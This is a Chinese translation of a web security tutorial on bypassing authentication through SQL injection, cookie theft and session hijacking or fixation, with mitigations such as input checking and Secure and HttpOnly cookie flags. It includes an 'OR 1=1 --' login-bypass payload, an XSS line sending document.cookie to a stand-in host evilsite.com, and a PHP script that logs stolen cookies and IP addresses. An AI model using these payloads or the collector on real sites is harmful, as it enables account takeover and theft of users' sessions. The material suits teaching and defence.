[译]web认证攻击(二)

原文地址:http://resources.infosecinstitute.com/hacking-web-authentication-part-2/
本文将继续介绍一些高级的认证方法。我们将介绍各种绕过认证的方法,以及如何避免这些漏洞。本文将会分成两部分。
[b]
A) 绕过认证
SQL Injection
Cookie Stealing
Session Hijacking
B)高级认证方法
Certificate Based Authentication
Two-Factor Authentication
Open ID
[/b]

绕过认证
绕过认证是一项非常有用的技术因为它在不需要知道用户口令的情况下就可以获得用户的资源。然而这项技术不能绕过HTTP基本认证类型,因为HTTP基本认证要求我们发送的每一个请求都包含username和password。
1)sql注入
这项技术适用于用户口令由数据库处理的情况。如果user的输入没有很好的判断,攻击者可能使用含有恶意的sql语言来绕过认证。
假如负责验证的sql语句如下,username和password是没有经过检查的输入,他们被送到SQL语句。
SELECT * FROM USER_TABLE WHERE USERNAME = 'Username' and PASSWORD = 'Password';

假如user输入username为“admin’OR 1=1 –”,密码为“blah”。
那么语句现在变成:
SELECT * FROM USER_TABLE WHERE USERNAME = 'admin' OR 1=1 --' and PASSWORD = 'blah';

我们仔细查看SQL语句,语句将会执行到下面,由于“–”,剩下的语句都被注释掉了。
SELECT * FROM USER_TABLE WHERE USERNAME = 'admin' OR 1=1 --

所以如果admin是一个在数据库中的合法的项,那么该语句将选择admin。所以在这种情况下不需要密码。必须采取输入检查来避免SQL注入。SQL注入形式很多,本文只介绍一种最简单的注入。同时需要注意口令并不总是保存在后台数据库,所以SQL注入不一定总能成功。

2)Cookie盗取
Cookie是另一种保存在user电脑上易受攻击的有价值信息。Cookie中包含关于user的有价值的信息,可能含有编码/加密后的username/pass,session ID等。web认证所关注的是,cookie中包含user和服务器之前状态的信息。一个例子是,一旦user成功登录,那么就设置相应的cookie。对于所有的后继请求,只要cookie没有到期,user不必在发送他的口令。然而这是一个安全问题。问题出现在在一个未加密的网络中,很可能通过wireshark这类监听工具来捕捉到cookie。一旦攻击者获得cookie,他可以伪装成该user。为了避免这类问题,可以在cookie中设置一些标志位。
Secure Flag –该标志确保cookie从不使用一个未加密的通道传输,并且总是通过一个安全通道(HTTPS)从客户发送到服务器。它可以避免监听。
Http-Only Flag –这个特性确保不可以从非http APIs来获得该cookie。避免攻击者使用JavaScript来获取受害者的cookie。
不是cookie中所有的值都是用来维护与网站之间的用户会话。有些用于监视用户活动,或者其他原因。使用火狐的Cookie Manager插件来查看cookie
有好几种方法来偷取cookie。本文将介绍通过XSS漏洞来获得cookie。就我们所知,XSS允许我们在user的浏览器中执行脚本,我们在受害者机器上执行下列脚本。
<script>document.location='http://evilsite.com?cookie=<script>document.cookie</script>'</script>

我们通过JavaScript来获得user的cookie然后传给一个外部的网站,用来存储这些cookie。为了通过JavaScript来获得cookie,我们不使用HTTP-Only标志。一旦攻击者获得user的cookie,他可以在他的浏览器中通过Cookie Manager之类的攻击在设置cookie,从而伪装成受害者。该方法是适合与使用cookie来管理c/s会话的网站。我们使用php来接收和存储cookie。
代码:
<?php
$cookie = $_GET['c'];
$ip = getenv ('REMOTE_ADDR');
$date=date("j F, Y, g:i a");;
$referer=getenv ('HTTP_REFERER');
$fp = fopen('user_info.html', 'a');
fwrite($fp, 'Cookie: '.$cookie.'<br> IP: ' .$ip. '<br> Date and Time: ' .$date. '<br> Referer: '.$referer.'<br><br><br>');
fclose($fp);
//<a title="Redirect" href="http://resources.infosecinstitute.com/two-sides-to-every-story/">Redirect</a> the user to google.com
header ("Location: http://www.google.com");
?>

可以通过设置适当的标志位(Secure and HTTP-only)来避免这类攻击。避免在cookie中使用编码因为他很容易解码来获得原始值。而是应该使用加密来阻止监听攻击,甚至在一个开放的未加密的网络中。

3) Session劫持
许多场景中,认证过的user会收到一个网站提供的token或session ID。这个ID被用于后继的请求。如果攻击者可能获得这个Session ID,他很可能伪装成客户,成功与否取决于网站部署的安全机制。有很多方法可以获得这个session ID,有时它存储在cookie中,所以可以使用Cookie窃取来获得。有时通过一个参数来传递,例如在url中。如果攻击者可以在user和网站之间建立一个代理,很轻松获得url log从而获得session ID。如果知道session ID的范围,那么就可以使用Burp来进行暴力破解。
攻击者有很多方法可以获得session ID。有一个方法叫session固话攻击。这种攻击时,当user成功登录时,攻击者就可以控制session ID。他可以通过欺骗user点击一个特殊的url(例如site.com?session_id=3ejn324n23j423n3)来实现这种攻击,一旦受害者登录给定的session ID “3ejn324n23j423n3″,他就可以使用相同的session ID来伪装。这种方法只是用于使用session ID来验证受害者的情况。如果还需要其他的参数来验证,例如受害者的IP,MAC地址等,将失败。

猜你喜欢

转载自j4s0nh4ck.iteye.com/blog/2126577
今日推荐